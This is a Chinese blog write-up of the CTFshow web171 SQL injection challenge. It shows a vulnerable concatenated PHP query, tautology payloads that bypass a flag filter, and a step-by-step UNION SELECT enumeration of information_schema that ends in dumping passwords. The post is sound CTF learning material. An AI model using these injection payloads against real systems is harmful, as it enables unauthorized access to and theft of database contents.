CTF秀WEB入门的SQL注入web171

1 篇文章 0 订阅

CTF秀WEB入门的SQL注入web171

继续开启全栈梦想之逆向之旅~
这题是 CTF秀WEB入门的SQL注入web171
在这里插入图片描述

打开容器,考察的是字符型注入,SQL的本质是拼接,所以我们也要用拼接做文章:
在这里插入图片描述

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

.
.
(这里积累第一个经验)
可以看出它用条件过滤静止显示了flag,所以有两种方法绕过:
第一种方法是改变条件, 通过条件覆盖,条件冲突之类的方法改变原条件中的禁止显示flag的where username !=‘flag’ 限制。
第二种方法是改变对象,因为当前的where username !=‘flag’ 条件作用在它对应的select上面,所以我们可以通过拼接union select来创造另一个不受限制的select对象来绕过限制。
.
.
.

第一种方法改变条件:
附上我以前的笔记:
在这里插入图片描述
上面已经讲得很清楚了,所以我们可以用下面的方法:

' || 1 -- 
' || true -- 
' or true -- 
' or 1 -- 

.
.
.
(这里积累第二个经验)
第二种方法改变对象:union select创建新对象

首先了解information_schema.tablesinformation_schema.columns表有相同的重要字段table_schema和table_name,所以我们查通过数据库明查表明时可以直接使用information_schema.columns表一气呵成,也可以交叉使用information.tablesinformation_schema.columns表。

下面’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ctfshow_web’ –

’ union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=‘ctfshow_web’ – 是等价的
在这里插入图片描述

 ' order by 3--  					
 #(这里积累第三个经验):这里mysql的#注释符被禁了,会回显数据接口请求异常:parsererror。所以只能用-- 注释符了,order by num通过排序查看列的数量,试到了4就报错了,所以是3列。可是select那里明明只挑username,password两列,order by却说明有3列,可能是有什么高级知识点我还没涉及吧,也可能是他内部是另一条sql语句。
 
 ' union select 1,2,database() -- 
 #题目username !='flag'说明flag就在当前数据库和数据表中,就不用看其它表了。
 
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' -- 				
# 库名是ctfshow_web,这里group_concat函数是为了在数据库内存在多个表的情况下用把多个表名在一行上写出来。

' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' -- 
# information_schema.tables和information_schema.columns有同样字段table_schema和table_name,所以可以交叉使用。

' union select 1,2,password from ctfshow_user -- 
#只有条件中的字符串才要加引号,这里不是条件的ctfshow_user不用加字符串。

结果:
在这里插入图片描述
.

总结:

1:
(这里积累第一个经验) 可以看出它用条件过滤静止显示了flag,所以有两种方法绕过:

第一种方法是改变条件, 通过条件覆盖,条件冲突之类的方法改变原条件中的禁止显示flag的where username !=‘flag’ 限制。
第二种方法是改变对象,因为当前的where username !=‘flag’ 条件作用在它对应的select上面,所以我们可以通过拼接union select来创造另一个不受限制的select对象来绕过限制。

2:
(这里积累第二个经验)
第二种方法改变对象:union select创建新对象

首先了解information_schema.tablesinformation_schema.columns表有相同的重要字段table_schema和table_name,所以我们查通过数据库明查表明时可以直接使用information_schema.columns表一气呵成,也可以交叉使用information.tablesinformation_schema.columns表。
.
下面’ union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=‘ctfshow_web’ – 和’ union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=‘ctfshow_web’ – 是等价的

3:
(这里积累第三个经验):这里mysql的#注释符被禁了,会回显数据接口请求异常:parsererror。所以只能用-- 注释符了,order by num通过排序查看列的数量,试到了4就报错了,所以是3列。可是select那里明明只挑username,password两列,order by却说明有3列,可能是有什么高级知识点我还没涉及吧,也可能是他内部是另一条sql语句。

解毕!敬礼!

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

沐一 · 林

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值